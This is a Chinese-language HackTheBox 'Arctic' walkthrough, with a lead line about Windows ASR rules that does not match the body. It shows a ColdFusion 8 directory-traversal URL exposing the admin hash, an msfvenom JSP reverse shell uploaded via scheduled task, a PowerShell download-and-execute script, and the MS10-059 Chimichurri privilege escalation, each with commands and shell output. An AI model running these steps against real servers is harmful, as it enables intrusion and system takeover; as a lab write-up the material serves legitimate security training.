导语:在Windows 10 1709中使用攻击面缩减(ASR)规则,不仅可以防止DDE攻击,还可以阻止其他Office程序产生子进程的攻击。

之前一段时间,我搭建了这个环境,它是我第一次启动HackTheBox时做的第一个事情。我最近帮助了一个在这个环境里工作的人,所以我决定整理一下我的笔记,因为它们有点乱,并且重新组织它们来进行适当的写作。

初始枚举

首先,让我们从一个快速的nmap扫描开始。

[email protected]:~/htb/arctic# nmap -sV 10.10.10.11
 
Nmap scan report for 10.10.10.11
Host is up (0.065s latency).
Not shown: 997 filtered ports
PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  http    JRun Web Server
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

端口8500看起来很有趣。让我们用浏览器看一下。

8500

CFIDE

管理员目录为我们提供了ColdFusion 8的登录入口。

Login

漏洞利用

在线快速搜索后,我们发现ColdFusion 8存在目录遍历的漏洞。ColdFusion 8还将管理员散列本地存储在名为password.properties的文件中。因此,我们可以使用以下URL使用目录遍历来获取管理员散列:

http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

我们在浏览器中获得了这个输出。

HASH

所以我们有一个散列 2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03

使用hash-identifier这个工具我们可以看到散列很可能是SHA-1。

image.png

Google在线快速搜索一下可以得到破解的密码 – happyday。一般来说在启动hashcat破解之前使用搜索引擎可以很容易得到明文密码。

在登录页面的内部,有一个区域允许我们通过调试和记录类别下的计划任务来上传文件。

ADMIN

计划的任务设置使你可以从Web服务器下载文件并在本地保存输出。在Mappings下,我们可以验证CFIDE的路径,所以我们知道我们可以在哪里保存一个shell。

MAPPINGS

此时我们需要生成一个shell。我们可以上传一个cfexec.cfm shell(位于Kali的/usr/share/webshells/cfm中)来执行命令,或者我们可以通过上传JSP shell来获得完整的shell,因为ColdFusion将提供并运行JSP文件。

要生成一个JSP shell,我们使用msfvenom并设置相应地参数。

[email protected]:~/htb/arctic# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
Payload size: 1496 byte

现在我们创建了我们的shell,让我们使用python SimpleHTTPServer从Kali提供文件下载。

[email protected]:~/htb/arctic# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

在ColdFusion管理控制台中,我们为计划任务配置了三个参数。

·将URL设置为承载JSP      Shell的Web服务器

·选中将输出保存到文件的复选框

·将文件设置为C:\ColdFusion8\wwwroot\CFIDE\shell.jsp

TASK

提交后,我们在Actions下按需运行任务,并且我们可以在我们的python http服务器上看到一个200的响应。

TASKRUN

启动一个netcat监听器,我们现在可以浏览到我们的shell

http://10.10.10.11:8500/CFIDE/shell.jsp
[email protected]:~/htb/arctic# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49212
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\ColdFusion8\runtime\bin>whoami & hostname
whoami & hostname
arctic\tolis
arctic

我们可以在tolis的桌面上抓取user.txt标志。

特权升级

Tolis似乎不是系统管理员,所以我们需要升级权限。我一般在Windows上为特权升级做的第一件事是获取系统信息,以便我们可以识别操作系统并查看是否缺少任何补丁。

image.png

从这里我们确定该机器正在运行Server 2008 R2,并且根据Hotfix(s)下的输出没有安装任何修补程序。内容很多!让我们看看我们能找到什么样的漏洞。从这里你可以使用Google,使用Exploit-DB,searchsploit,或者对于Windows,我喜欢使用一个名为Windows Exploit Suggester的东西,它使提权变得简单。我不会详细介绍如何使用它,请检查github以查看使用情况以及所有可以使用的信息。

在查看了输出之后,我发现了一些可以工作的特权升级漏洞。我决定研究MS10-059。

https://www.exploit-db.com/exploits/14610/

Exploit-DB下载只包含源文件并且没有编译的exe文件。不知道是出于何种原因,这个Exp还有另外一个名称——Chimichurri,我在Exploit – DB上使用这个名称搜索了一下,找到了一个编译好的exe,在Github的 这里。请注意,通常你要自己编译一些东西,但是如果没有安装大量的东西,我就无法自己做这件事,所以我决定放弃它。根据源代码,它看起来像利用我们的IP地址和期望的端口作为参数来向我们发送反向shell。

我们再一次在Kali上设置了一个python http服务器,并把Exp下载到我们的目标中,一个简单的powershell脚本就可以实现。

C:\ColdFusion8>echo $webclient = New-Object System.Net.WebClient >>wget.ps1
 
C:\ColdFusion8>echo $url = "http://10.10.14.10/chimichurri.exe" >>wget.ps1
 
C:\ColdFusion8>echo $file = "exploit.exe" >>wget.ps1
 
C:\ColdFusion8>echo $webclient.DownloadFile($url,$file) >>wget.ps1
 
C:\ColdFusion8>powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

我们验证下载,启动一个netcat监听器,并运行漏洞利用。

C:\ColdFusion8>exploit.exe 10.10.14.10 443
 
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Changing registry values...<BR>/Chimichurri/-->Got SYSTEM token...<BR>/Chimichurri/-->Running reverse shell...<BR>/Chimichurri/-->Restoring default registry values...<BR>
[email protected]:~/htb/arctic# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49267
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\ColdFusion8>whoami & hostname
whoami & hostname
nt authority\system
arctic

现在我们可以获取管理员桌面上的root.txt 里的Flag。

源链接

Hacking more

...